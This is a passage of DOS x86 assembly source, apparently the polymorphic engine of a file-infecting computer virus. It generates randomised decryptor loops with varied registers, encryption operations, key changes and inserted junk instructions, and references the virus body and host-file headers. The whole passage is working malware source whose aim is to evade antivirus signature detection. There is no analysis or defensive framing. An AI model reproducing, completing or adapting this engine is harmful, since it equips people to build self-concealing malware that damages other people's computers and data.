  1678.                 mov     bx,offset make_enc
  1679.                 mov     cx,offset make_keychange
  1680.                 mov     dx,offset make_deccount
  1681.                 mov     si,offset make_incptr
  1682.                 call    order                   ; call routines
  1683.  
  1684. ;=====( Preform loop )=======================================================;
  1685.  
  1686.                 mov     ax,2
  1687.                 push    ax
  1688.                 call    random                  ; test BP for 4000?
  1689.                 pop     ax
  1690.                 jz      loop_no_test
  1691.                 test    bp,4000h                ; possible to just "Jcc"?
  1692.                 jnz     loop_make_jcc
  1693. loop_no_test:   call    random
  1694.                 jz      loop_no_test1
  1695.                 test    bp,2000h                ; use loop?
  1696.                 jnz     loop_make_jcc
  1697. loop_no_test1:  or      bp,800h                 ; do not change flags
  1698.                 mov     ax,2
  1699.                 cwd
  1700.                 call    random                  ; try OR/AND/TEST reg,reg
  1701.                                                 ; or XOR/ADD/OR/SUB reg,0?
  1702.                 mov     al,ds:count_reg         ; get counter
  1703.                 jnz     loop_orandtest
  1704.                 call    boolean                 ; do XOR/OR/ADD or ADD/SUB?
  1705.                 jnz     loop_modify
  1706.                 call    add_reg                 ; ADD/SUB reg,0
  1707.                 jmp     loop_make_jcc
  1708.  
  1709. loop_modify:    call    modify_reg              ; XOR/OR/ADD reg,0
  1710.                 jmp     loop_make_jcc
  1711.  
  1712. loop_orandtest: mov     cl,3
  1713.                 mov     ch,al
  1714.                 shl     ch,cl
  1715.                 or      al,ch                   ; set reg1 as reg2 also
  1716.                 mov     bx,2                    ; OR/AND/TEST
  1717.                 call    random_bx
  1718.                 jnz     loop_and
  1719.                 or      ax,9c0h                 ; OR reg1, reg2
  1720. loop_reverse:   call    boolean                 ; use 9 or 11?
  1721.                 jnz     loop_orandteststo
  1722.                 or      ah,2h                   ; reg2, reg1
  1723.                 jmp     loop_orandteststo
  1724.  
  1725. loop_and:       dec     bx
  1726.                 jnz     loop_test
  1727.                 or      ax,21c0h                ; AND reg1, reg2
  1728.                 jmp     loop_reverse
  1729.  
  1730. loop_test:      or      ax,85c0h                ; TEST reg1, reg2
  1731. loop_orandteststo:
  1732.                 xchg    al,ah
  1733.                 stosw                           ; store TEST/OR/AND
  1734.                 or      bp,1800h                ; do not change flags/
  1735.                                                 ; test stored
  1736.                 call    garble
  1737. loop_make_jcc:  and     bp,not 800h
  1738.                 test    bp,2000h                ; code loop?
  1739.                 jz      loop_make_jump
  1740.                 mov     al,0e2h                 ; LOOP
  1741.                 test    bp,1000h                ; possible to use LOOPNZ/Z?
  1742.                 jz      loop_code_disp
  1743.                 call    boolean
  1744.                 jnz     loop_code_disp
  1745.                 dec     ax                      ; LOOPZ
  1746.                 call    boolean
  1747.                 jnz     loop_iscx
  1748.                 dec     ax                      ; LOOPNZ
  1749.                 jmp     loop_code_disp
  1750.                 
  1751. ;=====( Now make conditional jump )==========================================;
  1752.  
  1753. jcc_tbl:        db      75h,79h,7dh,7fh         ; JNE/JNS/JG/JGE
  1754.  
  1755. loop_make_jump: mov     bx,offset jcc_tbl
  1756.                 mov     ax,3
  1757.                 call    random
  1758.                 xlat                            ; get Conditional jump
  1759.                 mov     bx,2
  1760.                 call    random_bx               ; use JE/JS/LE/L then JMP?
  1761.                 jnz     loop_code_disp
  1762.                 cmp     ds:count_reg,_cx        ; CX is counter?
  1763.                 jnz     loop_notcx
  1764.                 mov     bl,4
  1765.                 call    random_bx
  1766.                 jnz     loop_notcx
  1767.                 mov     al,0e3h + 1             ; JCXZ + 1
  1768. loop_notcx:     dec     ax
  1769. loop_iscx:      stosw
  1770.                 cmp     al,07fh                 ; Jcxz/loopz?
  1771.                 ja      loop_code_short
  1772.                 call    boolean                 ; Use opposite or EB?
  1773.                 jnz     loop_code_short
  1774.                 or      bp,800h                 ; dont change flags
  1775. loop_code_short:mov     si,di                   ; save offset of displacement
  1776.                 call    garble
  1777.                 lea     ax,ds:[si-2]
  1778.                 sub     ax,di
  1779.                 neg     al                      ; get jump displacement
  1780.                 mov     ds:[si-1],al            ; save it
  1781.                 test    bp,800h                 ; Dont change flags -> "Jcc"
  1782.                 mov     al,0ebh                 ; Jmp short
  1783.                 je      loop_code_disp
  1784.                 mov     ax,3
  1785.                 call    random
  1786.                 mov     bx,offset jcc_tbl
  1787.                 xlat                            ; Get JNE/JNS/JG/JGE
  1788. loop_code_disp: stosb                           ; store jump
  1789.                 pop     ax                      ; start of loop
  1790.                 dec     ax
  1791.                 sub     ax,di                   ; get loop displacement
  1792.                 stosb
  1793.                 or      bp,11101111b            ; free all registers
  1794.                 and     bp,not 800h             ; allow flags to change
  1795.                 call    garble
  1796.                 mov     ax,19
  1797.                 call    random                  ; 1 in 20 chance of non-jmp
  1798.                 jnz     loop_code_jmp
  1799.                 mov     ax,ds:pointer
  1800.                 add     ax,offset file_start    ; where to jump
  1801.                 xchg    dx,ax
  1802.                 call    get_reg                 ; get a register
  1803.                 call    mov_reg                 ; Mov value into register
  1804.                 or      ax,0ffc0h + (4 shl 3)   ; JMP reg16
  1805.                 call    boolean                 ; PUSH/RET or JMP reg16?
  1806.                 jnz     loop_code_push
  1807.                 xchg    al,ah
  1808.                 jmp     loop_code_stosw
  1809.  
  1810. loop_code_push: mov     bx,2
  1811.                 call    random_bx               ; 1 in 3 chance of FF /6 PUSH
  1812.                 jnz     loop_code_push1
  1813.                 xor     al,(6 shl 3) xor (4 shl 3) ; PUSH reg
  1814.                 xchg    al,ah                
  1815.                 stosw
  1816.                 jmp     loop_code_ret
  1817.  
  1818. loop_code_push1:xor     al,50h xor (0c0h or (4 shl 3)) ; PUSH reg
  1819.                 stosb
  1820. loop_code_ret:  call    garble
  1821.                 mov     al,0c3h                 ; RETN
  1822.                 stosb
  1823.                 jmp     loop_code_end
  1824.  
  1825. loop_code_jmp:  mov     al,0e9h
  1826.                 stosb                           ; Store Jump
  1827.                 lea     ax,ds:[di-((file_start-2)-v_start)]
  1828.                 neg     ax                      ; Jmp file_start
  1829. loop_code_stosw:stosw
  1830. loop_code_end:  mov     si,ds:encode_enc_ptr    ; get encrypt instruction ptr                                
  1831.                 cmp     di,offset header        ; Decryptor is too large?
  1832.                 jb      go_write_buff
  1833.                 stc                             ; return error
  1834.                 pushf
  1835.                 pop     bp
  1836.                 retn
  1837.  
  1838. go_write_buff:  jmp     write_buff              ; encrypt/write/decrypt
  1839.  
  1840.  
  1841. ;=====( Inc pointer )========================================================;
  1842.  
  1843. make_incptr:    mov     ax,word ptr ds:ptr_reg  ; get pointer registers
  1844.                 mov     dx,2                    ; ADD ptr,2
  1845.                 cmp     ah,-1                   ; two registers used?
  1846.                 jz      make_incptr_1
  1847.                 call    boolean                 ; do one or both?
  1848.                 jnz     make_incptr_do1
  1849.                 dec     dx                      ; ADD ptr,1
  1850.                 call    make_incptr_do1
  1851.                 jmp     make_incptr_2
  1852.  
  1853. make_incptr_do1:call    boolean
  1854.                 jnz     make_incptr_1
  1855. make_incptr_2:  xchg    al,ah
  1856. make_incptr_1:  call    add_reg
  1857.                 sub     ds:disp,dx              ; add to displacement
  1858.                 retn 
  1859.  
  1860. ;=====( Dec counter )========================================================;
  1861.  
  1862. make_deccount:  cmp     si,offset make_deccount ; last operation?
  1863.                 jnz     make_deccount_notlast
  1864.                 call    boolean                 ; do it?
  1865.                 jnz     make_deccount_notlast
  1866.                 or      bp,4800h                ; remember we're last
  1867. make_deccount_notlast:
  1868.                 mov     al,ds:count_reg
  1869.                 cmp     al,_cx                  ; possible to use LOOP/LOOPNZ?
  1870.                 jnz     make_deccount_notcx
  1871.                 call    boolean
  1872.                 jnz     make_deccount_notcx
  1873.                 or      bp,2000h                ; do LOOP
  1874.                 jmp     make_deccount_exit
  1875.  
  1876. make_deccount_notcx:
  1877.                 mov     dx,-1                   ; ADD counter,-1
  1878.                 call    add_reg
  1879. make_deccount_exit:
  1880.                 or      bp,400h                 ; deccount executed
  1881.                 retn                   
  1882.  
  1883. ;=====( Make encryption instruction )========================================;
  1884.  
  1885. make_enc:       push    bp
  1886.                 and     bp,not 400h
  1887.                 mov     al,ds:key_reg
  1888.                 push    ax                      ; save key register
  1889. make_enc_which: mov     ax,4                    ; ADD/SUB/XOR/ROR/ROL
  1890.                 call    random
  1891.                 mov     bx,0105h                ; ADD [DI],AX
  1892.                 mov     cx,1119h                ; ADC/SBB
  1893.                 mov     dx,2905h                ; SUB [DI],AX
  1894.                 jz      make_enc_add
  1895.                 dec     ax
  1896.                 jz      make_enc_sub
  1897.                 dec     ax
  1898.                 jnz     make_enc_ror
  1899.                 mov     bh,31h                  ; XOR
  1900.                 mov     dx,3105h                ; XOR [DI],AX
  1901.                 jmp     make_enc_sto
  1902.  
  1903. make_enc_ror:   cmp     ds:key_reg,_cx          ; CX is key?
  1904.                 jne     make_enc_which
  1905.                 or      bp,400h                 ; Put XCHG CX,AX
  1906.                 mov     bh,0d3h
  1907.                 mov     dx,0d30dh               ; ROL 
  1908.                 dec     ax
  1909.                 jz      r_make_enc_sto
  1910.                 xchg    bx,dx                   ; ROR
  1911. r_make_enc_sto: mov     ds:key_reg,al           ; 1 SHL 3 = 08 / D3 08
  1912.                                                 ; D3 00 = ROL [],CL
  1913.                 jmp     make_enc_sto
  1914.  
  1915. make_enc_sub:   xchg    dh,bh                   ; SUB - ADD [DI],AX
  1916.                 xchg    cl,ch                   ; SBB/ADC
  1917. make_enc_add:   call    boolean                 ; do Carry?
  1918.                 jnz     make_enc_sto
  1919.                 push    bx
  1920.                 mov     bh,ch                   ; Make it ADC/SBB
  1921.                 call    clear_carry
  1922.                 cmp     al,0
  1923.                 org     $ - 1
  1924. make_enc_sto:   push    bx
  1925.                 test    bp,8000h                ; EXE file?
  1926.                 jz      make_enc_com
  1927.                 call    is_bp_ptr               ; is BP a pointer?
  1928.                 je      make_enc_com
  1929.                 mov     al,2eh                  ; CS:
  1930.                 call    boolean
  1931.                 jnz     make_enc_cs
  1932.                 mov     al,36h                  ; SS:
  1933. make_enc_cs:    stosb                           ; store segment override
  1934. make_enc_com:   mov     al,bh
  1935.                 stosb                           ; store instruction
  1936.                 mov     ax,word ptr ds:ptr_reg  ; get pointer registers
  1937.                 cmp     ah,-1                   ; second reg?
  1938.                 je      make_enc_xlat
  1939.                 add     al,ah
  1940. make_enc_xlat:  mov     bx,offset rm_tbl
  1941.                 xlat                            ; get r/m
  1942.                 call    is_bp_ptr               ; is BP a pointer?
  1943.                 jnz     make_enc_nobp
  1944.                 inc     ah                      ; is there a second reg?
  1945.                 jne     make_enc_nobp
  1946.                 or      al,01000000b            ; [BP+xx]
  1947. make_enc_nobp:  mov     cx,ds:disp              ; get displacement
  1948.                 mov     bx,6
  1949.                 call    random_bx               ; allow no displacement?
  1950.                 jz      make_enc_get_disp
  1951.                 jcxz    make_enc_sto_rm
  1952. make_enc_get_disp:
  1953.                 or      al,01000000b            ; 8bit displacement
  1954.                 call    boolean                 ; allow 8bit displacement?
  1955.                 jnz     make_enc_16bit
  1956.                 cmp     cx,7fh                  ; 8bit displacement?
  1957.                 jbe     make_enc_sto_rm         
  1958.                 cmp     cx,-80h
  1959.                 jb      make_enc_16bit
  1960.                 xor     ch,ch
  1961.                 cmp     ax,0
  1962.                 org     $ - 2
  1963. make_enc_16bit: xor     al,11000000b            ; 8bit off, 16bit on
  1964. make_enc_sto_rm:mov     ah,ds:key_reg
  1965.                 shl     ah,1
  1966.                 shl     ah,1
  1967.                 shl     ah,1                    ; from bits 0-2 of AH
  1968.                 or      al,ah                   ; to bits 3-5 of AL
  1969.                 stosb                           ; store r/m byte 
  1970.                 test    al,11000000b            ; any displacement?
  1971.                 jz      make_enc_disp
  1972.                 test    al,10000000b            ; 16bit displacement?
  1973.                 xchg    cx,ax
  1974.                 stosw                           ; store displacement
  1975.                 jnz     make_enc_disp
  1976.                 dec     di                      ; 8bit only
  1977. make_enc_disp:  xchg    di,ds:encode_ptr        ; get encode ptr
  1978.                 test    bp,400h                 ; store XCHG CX,AX?
  1979.                 je      make_enc_nor
  1980.                 mov     al,91h                  ; XCHG CX,AX
  1981.                 stosb
  1982. make_enc_nor:   xchg    dx,ax
  1983.                 xchg    al,ah
  1984.                 mov     ds:encode_enc_ptr,di    ; save instruction pointer
  1985.                 stosw                           ; set encryption instruction
  1986.                 je      make_enc_nor1
  1987.                 mov     al,91h                  ; XCHG CX,AX
  1988.                 stosb
  1989. make_enc_nor1:  xchg    di,ds:encode_ptr        ; restore decrypt ptr
  1990.                 pop     ax
  1991.                 xchg    al,ah
  1992.                 mov     word ptr ds:write_buff[encode_flip-encode],ax 
  1993.                                                 ; save opposite operation
  1994.                 pop     ax 
  1995.                 mov     ds:key_reg,al           ; restore key register
  1996.                 pop     bp
  1997.                 retn
  1998.                 
  1999. rm_tbl:         db      -1,-1,-1,7,-1,6,4,5,-1,0,1,2,3  ; -1's not used
  2000.  
  2001. ;=====( Change key )=========================================================;
  2002.  
  2003. make_keychange: call    boolean                 ; change key?
  2004.                 jnz     make_keychange_yes
  2005.                 retn
  2006.                 
  2007. make_keychange_yes:
  2008.                 push    bp
  2009.                 or      bp,200h                 ; let know that keychange
  2010.                 mov     ax,3
  2011.                 call    random                  ; 1 in 4 chance of modify_reg
  2012.                 jnz     keychange_other
  2013.                 call    random_1
  2014.                 xchg    dx,ax                   ; Random value to modify key
  2015.                                                 ; reg by
  2016.                 mov     al,ds:key_reg
  2017.                 call    modify_reg              ; XOR/ADD/OR
  2018. keychange_stoop:xchg    di,ds:encode_ptr        ; get ptr to encode
  2019.                 inc     di                      ; CLC
  2020.                 mov     al,ds:modify_op         ; get operation
  2021.                 stosb
  2022. keychange_stodx:xchg    dx,ax                   ; store value/operation
  2023. keychange_sto:  stosw
  2024.                 xchg    di,ds:encode_ptr        ; get decrypt pointer
  2025.                 pop     bp
  2026.                 retn
  2027.  
  2028. keychange_other:mov     al,4                    ; ROR/ROL/NOT/NEG/ADD
  2029.                 call    random 
  2030.                 jnz     keychange_rol
  2031.                 mov     ax,0d1c0h               ; ROR AX,1
  2032. keychange_cl:   mov     bx,2                    ; 1 in 3 chance of ,CL
  2033.                 call    random_bx
  2034.                 jnz     keychange_nocl
  2035.                 cmp     ds:count_reg,_cx          ; Count is CX?
  2036.                 jne     keychange_nocl
  2037.                 test    bp,400h                 ; Count already decremented?
  2038.                 jnz     keychange_nocl
  2039.                 or      ah,2                    ; By CL
  2040. keychange_nocl: xchg    al,ah
  2041.                 push    ax
  2042.                 or      ah,ds:key_reg           ; set key register
  2043.                 stosw                           ; store instruction
  2044.                 pop     ax
  2045.                 xchg    di,ds:encode_ptr        ; get encode ptr
  2046.                 jmp     keychange_sto
  2047.  
  2048. keychange_rol:  dec     ax
  2049.                 jnz     keychange_not
  2050.                 mov     ax,0d1c0h or (1 shl 3)  ; ROL AX,1
  2051.                 jmp     keychange_cl
  2052.  
  2053. keychange_not:  dec     ax
  2054.                 jnz     keychange_neg                
  2055.                 mov     ax,0f7c0h + (2 shl 3)   ; NOT AX
  2056.                 jmp     keychange_nocl
  2057.  
  2058. keychange_neg:  dec     ax
  2059.                 jnz     keychange_add
  2060.                 mov     ax,0f7c0h + (3 shl 3)   ; NEG AX
  2061.                 jmp     keychange_nocl
  2062.  
  2063. keychange_add:  call    random_1
  2064.                 xchg    dx,ax
  2065.                 mov     al,ds:key_reg           ; get key register
  2066.                 call    add_reg                 ; ADD reg(ax), value(dx)
  2067.                 jmp     keychange_stoop
  2068.  
  2069. ;=====( Build key )==========================================================;
  2070.  
  2071. make_key:       call    get_reg                 ; get register
  2072.                 xchg    dx,ax
  2073.                 call    random_1                ; get key
  2074.                 mov     ds:key,ax               ; save key
  2075.                 xchg    dx,ax
  2076.                 mov     ds:key_reg,al           ; save register
  2077.                 call    mov_reg                 ; MOV reg(ax),value(dx)
  2078.                 retn
  2079.  
  2080. ;=====( Build counter )======================================================;
  2081.  
  2082. make_count:     call    get_reg                 ; get register
  2083.                 mov     ds:count_reg,al         ; save register
  2084.                 mov     dx,(decrypt-v_start)/2  ; # of words to crypt
  2085.                 call    mov_reg                 ; mov reg(ax),value(dx)
  2086.                 retn
  2087.  
  2088. ;=====( Build Pointer )======================================================;
  2089.  
  2090. make_ptr:       mov     dx,ds:pointer
  2091.                 call    get_ptr_reg             ; get DI/SI/BP/BX
  2092.                 mov     ds:ptr_reg,al
  2093.                 mov     ds:ptr_reg1,-1          
  2094.                 mov     bx,3
  2095.                 call    random_bx               ; 1 in 4 chance of 2 regs
  2096.                 jnz     make_ptr_2
  2097.                 cmp     al,_si
  2098.                 mov     bx,11000000b            ; DI/SI
  2099.                 jb      make_ptr_test
  2100.                 mov     bl,00101000b            ; BP/BX
  2101. make_ptr_test:  test    bp,bx                   ; 'other' availible?
  2102.                 jz      make_ptr_2
  2103. make_ptr_again: call    get_ptr_reg             ; get DI/SI/BP/BX
  2104.                 push    ax
  2105.                 call    conv_num                ; convert to bit-map number
  2106.                 test    al,bl                   ; is it other type?
  2107.                 pop     ax
  2108.                 jnz     make_ptr_ok
  2109.                 call    del_reg                 ; delete register
  2110.                 jmp     make_ptr_again
  2111.  
  2112. make_ptr_ok:    mov     ds:ptr_reg1,al          ; save second register
  2113.                 mov     bx,-1
  2114.                 call    random_bx
  2115.                 sub     dx,bx                   ; randomize values
  2116.                 xchg    bx,dx
  2117.                 call    mov_reg                 ; mov reg(ax), value(dx)
  2118.                 xchg    bx,dx
  2119.                 mov     al,ds:ptr_reg           ; get first reg
  2120. make_ptr_2:     xor     bx,bx                   ; zero displacement
  2121.                 call    boolean                 ; use one?
  2122.                 jnz     make_ptr_nodisp
  2123.                 mov     bx,-1
  2124.                 call    random_bx
  2125.                 sub     dx,bx                   ; subtract displacement
  2126. make_ptr_nodisp:mov     ds:disp,bx              ; save displacement
  2127.                 call    mov_reg                 ; mov reg(ax), value(dx)
  2128.                 retn
  2129.                 
  2130. ;=====( Shell for mov_reg1 )=================================================;
  2131.  
  2132. mov_reg:        push    bx dx
  2133.                 mov     bx,4
  2134.                 call    random_bx               ; 1 in 5 chance of MOV/ADD/SUB
  2135.                 jnz     mov_reg_call
  2136.                 mov     bx,-1
  2137.                 call    random_bx               ; get random #
  2138.                 sub     dx,bx                   ; MOV reg, value-random #
  2139.                 call    mov_reg1                ; do MOV reg,
  2140.                 mov     dx,bx
  2141.                 call    add_reg                 ; Now add difference
  2142.                 pop     dx bx
  2143.                 retn
  2144.  
  2145. mov_reg_call:   pop     dx bx
  2146.  
  2147. ;=====( Mov reg(ax), value(dx) )=============================================;
  2148.  
  2149. mov_reg1:       push    ax bx cx dx
  2150.                 cbw
  2151.                 mov     bx,2
  2152.                 call    random_bx               ; MOV or SUB/XOR ADD/OR/XOR
  2153.                 jz      mov_reg_other
  2154.                 mov     bl,2
  2155.                 call    random_bx               ; 1 in 3 chance of c6/c7 MOV
  2156.                 jnz     mov_reg_b0
  2157.                 or      ax,0c7c0h               ; MOV reg,imm
  2158.                 call    boolean                 ; Do long MOV or LEA?
  2159.                 jnz     mov_reg_c7
  2160.                 mov     cl,3
  2161.                 shl     al,cl                   ; Reg -> bits 3,4,5
  2162.                 xor     ax,(8d00h or 110b) xor 0c700h  ; LEA reg,[imm]
  2163. mov_reg_c7:     xchg    al,ah
  2164.                 stosw                           ; store it
  2165. mov_reg_sto:    xchg    dx,ax
  2166.                 stosw                           ; store value
  2167.                 call    garble
  2168. mov_reg_exit:   jmp     modify_pop
  2169.  
  2170. mov_reg_b0:     or      al,0b8h                 ; MOV reg,imm
  2171.                 stosb
  2172.                 jmp     mov_reg_sto
  2173.  
  2174. mov_reg_other:  push    ax
  2175.                 mov     cl,3
  2176.                 mov     ch,al
  2177.                 shl     ch,cl                   ; copy reg1 to reg2
  2178.                 or      al,ch                   ; set it
  2179.                 call    boolean
  2180.                 jnz     mov_reg_other1
  2181.                 or      ah,2                    ; reg1, reg2 -> reg2, reg1
  2182. mov_reg_other1: call    boolean
  2183.                 jnz     mov_reg_xor
  2184.                 or      ax,29c0h                ; SUB reg, reg
  2185.                 call    boolean
  2186.                 jnz     mov_reg_other_sto
  2187.                 xor     ah,19h xor 29h          ; SBB reg, reg
  2188.                 call    clear_carry             ; clear carry flag
  2189. mov_reg_other_sto:
  2190.                 xchg    al,ah
  2191.                 stosw
  2192.                 call    garble
  2193.                 pop     ax
  2194.                 call    modify_reg              ; ADD/OR/XOR reg(ax),value(dx)
  2195.                 jmp     mov_reg_exit
  2196.  
  2197. mov_reg_xor:    or      ax,31c0h                ; XOR AX,AX
  2198.                 jmp     mov_reg_other_sto
  2199.  
  2200. ;=====( ADD/OR/XOR reg(ax), value(dx) )======================================;
  2201.  
  2202. modify_reg:     push    ax bx cx dx
  2203.                 cbw
  2204.                 mov     bx,2
  2205.                 call    random_bx
  2206.                 mov     cx,3500h + (6 shl 3)    ; XOR
  2207.                 jz      modify_reg_cont
  2208.                 mov     cx,0d00h + (1 shl 3)    ; OR
  2209.                 dec     bx
  2210.                 jz      modify_reg_cont
  2211. modify_reg_add: mov     cx,0500h                ; ADD
  2212.                 call    boolean                 ; ADC or ADD?
  2213.                 jnz     modify_reg_cont
  2214.                 mov     cx,1500h + (2 shl 3)    ; ADC
  2215. modify_reg_clc: call    clear_carry             ; Clear carry flag
  2216. modify_reg_cont:test    bp,200h                 ; keychange executing?
  2217.                 jz      modify_reg_nosave
  2218.                 mov     ds:modify_op,ch         ; save AX operation
  2219. modify_reg_nosave:
  2220.                 call    boolean                 ; check if AX?
  2221.                 jnz     modify_reg_noax
  2222.                 or      al,al                   ; AX?
  2223.                 jnz     modify_reg_noax
  2224.                 mov     al,ch
  2225.                 stosb                           ; store instruction
  2226.                 xchg    dx,ax
  2227. modify_sto:     stosw                           ; store value
  2228. modify_exit:    call    garble
  2229. modify_pop:     pop     dx cx bx ax
  2230.                 retn
  2231.  
  2232. modify_reg_noax:or      ax,81c0h
  2233.                 or      al,cl                   ; XOR/OR/ADD
  2234.                 call    boolean                 ; sign extend?
  2235.                 jnz     modify_reg_nosign
  2236.                 cmp     dx,7fh                  ; possible to sign extend?
  2237.                 jbe     modify_sign
  2238.                 cmp     dx,-80h
  2239.                 jb      modify_reg_nosign
  2240. modify_sign:    or      ah,2                    ; sign extend
  2241. modify_reg_nosign:                
  2242.                 xchg    al,ah
  2243.                 stosw
  2244.                 test    al,2                    ; sign extended?
  2245.                 xchg    dx,ax
  2246.                 je      modify_sto
  2247.                 stosb
  2248.                 jmp     modify_exit
  2249.                 
  2250. ;=====( ADD reg(ax), value(dx) )=============================================;
  2251.  
  2252. add_reg:        push    ax bx cx dx
  2253.                 cbw
  2254.                 mov     cx,dx
  2255. add_loop:       mov     bx,3
  2256.                 call    random_bx               ; 1 in 4 chance of ADD/SUB
  2257.                 jz      add_noinc
  2258.                 mov     bx,40c0h                ; INC reg
  2259.                 test    bp,200h                 ; keychange running?
  2260.                 jz      add_nosave
  2261.                 mov     ds:modify_op,05h        ; ADD AX,
  2262. add_nosave:     cmp     cx,3h                   ; too high to INC?
  2263.                 jb      add_inc
  2264.                 neg     cx
  2265.                 cmp     cx,3h                   ; too low to DEC?
  2266.                 ja      add_noinc
  2267.                 mov     bx,48c0h + (1 shl 3)    ; DEC reg
  2268.                 test    bp,200h
  2269.                 jz      sub_nosave
  2270.                 mov     ds:modify_op,2dh        ; SUB AX,
  2271. sub_nosave:     inc     dx
  2272.                 inc     cx
  2273.                 cmp     ax,0
  2274.                 org     $ - 2
  2275. add_inc:        dec     dx
  2276.                 dec     cx
  2277.                 push    ax
  2278.                 mov     ax,5
  2279.                 call    random                  ; 1 in 6 chance of FF
  2280.                 pop     ax      
  2281.                 push    ax
  2282.                 jnz     add_inc_40
  2283.                 mov     ah,0ffh
  2284.                 xchg    bl,bh
  2285.                 xchg    al,ah                   ; AL=ff AH=Reg
  2286.                 stosb 
  2287.                 xchg    al,ah
  2288. add_inc_40:     or      al,bh                   ; set DEC/INC
  2289.                 stosb
  2290.                 pop     ax
  2291.                 call    garble
  2292.                 or      dx,dx                   ; all done?
  2293.                 jnz     add_loop
  2294. add_reg_exit:   jmp     modify_pop
  2295.  
  2296. add_noinc:      call    boolean                 ; ADD or SUB?
  2297.                 jz      sub_reg
  2298.                 jmp     modify_reg_add
  2299.                 
  2300. sub_reg:        test    bp,200h                 ; keychange?
  2301.                 jnz     sub_reg_key
  2302.                 neg     dx
  2303. sub_reg_key:    mov     cx,2d00h + (5 shl 3)    ; SUB
  2304.                 call    boolean                 ; use SBB?
  2305.                 jz      sbb_reg
  2306.                 jmp     modify_reg_cont
  2307.  
  2308. sbb_reg:        mov     cx,1d00h + (3 shl 3)    ; SBB
  2309.                 jmp     modify_reg_clc
  2310.                 
  2311. ;=====( clear carry flag )===================================================;
  2312.  
  2313. clear_carry:    push    ax bp
  2314.                 or      bp,800h                 ; don't change flags
  2315.                 mov     al,0f8h                 ; CLC
  2316.                 call    boolean
  2317.                 jnz     clear_carry_clc
  2318.                 mov     ax,0f5f9h               ; STC/CMC
  2319.                 stosb
  2320.                 call    garble
  2321.                 xchg    al,ah
  2322. clear_carry_clc:stosb
  2323.                 call    garble
  2324.                 pop     bp ax
  2325.                 retn
  2326.  
  2327. garble:         push    ax
  2328.                 mov     ax,2
  2329.                 call    random                  ; how many times to call?
  2330.                 xchg    cx,ax
  2331.                 jcxz    garble_exit
  2332. garble_loop:    call    garble1
  2333.                 loop    garble_loop
  2334. garble_exit:    xchg    cx,ax
  2335.                 pop     ax
  2336.                 retn
  2337.  
  2338. ;=====( add garbage code )===================================================;
  2339.  
  2340. garble1:        push    ax bx cx dx bp
  2341.                 test    bp,100h                 ; Garble already executing?
  2342.                 jnz     garble_ret
  2343.                 and     bp,not 200h             ; keychange not executing
  2344.                 or      bp,100h                 ; Garble executing
  2345.                 call    boolean
  2346.                 jnz     garble_ret
  2347.                 mov     cl,3
  2348.                 call    random_1
  2349.                 xchg    dx,ax                   ; DX=random number
  2350.                 call    get_reg                 ; get register
  2351.                 jc      garble_ret
  2352.                 mov     bx,6
  2353.                 test    bp,800h                 ; flag change allowed?
  2354.                 jz      garble_f
  2355.                 mov     bl,2
  2356. garble_f:       call    random_bx            ; MOV/1BYTE/XCHG/MODIFY/ADD/MOV?
  2357.                 jnz     garble_xchg
  2358.                 or      ah,89h
  2359. garble_reg_set: call    boolean                 ; reg1, reg2 or reg2, reg1?
  2360.                 jz      garble_reg_reg
  2361.                 or      ah,2                    ; 8b
  2362.                 xchg    al,dl
  2363. garble_reg_reg: and     dl,7                    ; Get register values only
  2364.                 and     al,7
  2365.                 shl     dl,cl
  2366.                 or      al,0c0h                 ; MOV reg1, random reg
  2367.                 or      al,dl
  2368.                 xchg    al,ah
  2369.                 stosw
  2370. garble_ret:     pop     bp 
  2371.                 jmp     modify_pop
  2372.  
  2373. garble_xchg:    dec     bx
  2374.                 jnz     garble_1byte
  2375.                 xchg    dx,ax
  2376.                 call    get_reg                 ; get another reg
  2377.                 jc      garble_ret
  2378.                 xchg    dx,ax                   ; AL=reg1 DL=reg2
  2379.                 call    boolean
  2380.                 jnz     garble_xchgnoax
  2381.                 or      dl,dl                   ; AX?
  2382.                 jz      garble_xchgax
  2383.                 or      al,al
  2384.                 jz      garble_xchgax
  2385. garble_xchgnoax:or      ah,87h                  ; XCHG reg1,
  2386.                 jmp     garble_reg_reg
  2387.  
  2388. garble_xchgax:  or      al,90h
  2389.                 or      al,dl                   ; XCHG AX, reg
  2390. garble_stosb:   stosb
  2391.                 jmp     garble_ret
  2392.                 
  2393. garble_1byte:   dec     bx
  2394.                 jnz     garble_modify
  2395.                 mov     al,4
  2396.                 call    random
  2397.                 mov     bx,offset garble_1byte_tbl
  2398.                 xlat                            ; get 1 byte instruction
  2399.                 jmp     garble_stosb
  2400.                 
  2401. garble_modify:  dec     bx
  2402.                 jnz     garble_add
  2403.                 call    modify_reg              ; ADD/XOR/OR reg1, random #
  2404.                 jmp     garble_ret
  2405.  
  2406. garble_add:     dec     bx
  2407.                 jnz     garble_mov
  2408.                 call    add_reg                 ; ADD/SUB reg1, random #
  2409.                 jmp     garble_ret
  2410.  
  2411. garble_mov:     dec     bx
  2412.                 jnz     garble_op
  2413.                 call    mov_reg                 ; MOV reg1, random #
  2414.                 jmp     garble_ret
  2415.  
  2416. garble_op:      and     dh,00111000b            ; get rnd op
  2417.                 mov     ah,1
  2418.                 or      ah,dh
  2419.                 jmp     garble_reg_set
  2420.  
  2421. garble_1byte_tbl:
  2422.                 db      2eh
  2423.                 db      36h
  2424.                 cld
  2425.                 std
  2426.                 sti
  2427.                 
  2428. ;=====( Is BP a Pointer? )===================================================;
  2429.  
  2430. is_bp_ptr:      cmp     ds:ptr_reg,_bp
  2431.                 je      bp_is_ptr
  2432.                 cmp     ds:ptr_reg1,_bp
  2433. bp_is_ptr:      retn
  2434.  
  2435. ;=====( Get pointer register (DI/SI/BP/BX) )=================================;
  2436.  
  2437. get_ptr_regnext:call    del_reg                 ; restore register to pool
  2438.  
  2439. get_ptr_reg:    call    get_reg                 ; get register
  2440.                 cmp     al,_bx
  2441.                 je      got_ptr_reg
  2442.                 cmp     al,_bp
  2443.                 jb      get_ptr_regnext
  2444. got_ptr_reg:    retn
  2445.  
  2446. ;=====( return random register in AL )=======================================;
  2447.  
  2448. get_reg:        test    bp,11101111b            ; any registers free?
  2449.                 stc
  2450.                 jz      get_reg_exit
  2451. get_reg_loop:   mov     ax,7
  2452.                 call    random
  2453.                 push    ax
  2454.                 cbw
  2455.                 call    conv_num                ; convert to bit map
  2456.                 test    bp,ax                   ; is register free?
  2457.                 pushf
  2458.                 not     ax
  2459.                 and     bp,ax                   ; mark register
  2460.                 popf
  2461.                 pop     ax
  2462.                 jz      get_reg_loop
  2463. get_reg_exit:   retn
  2464.                 
  2465. ;=====( Restore register to pool )===========================================;
  2466.  
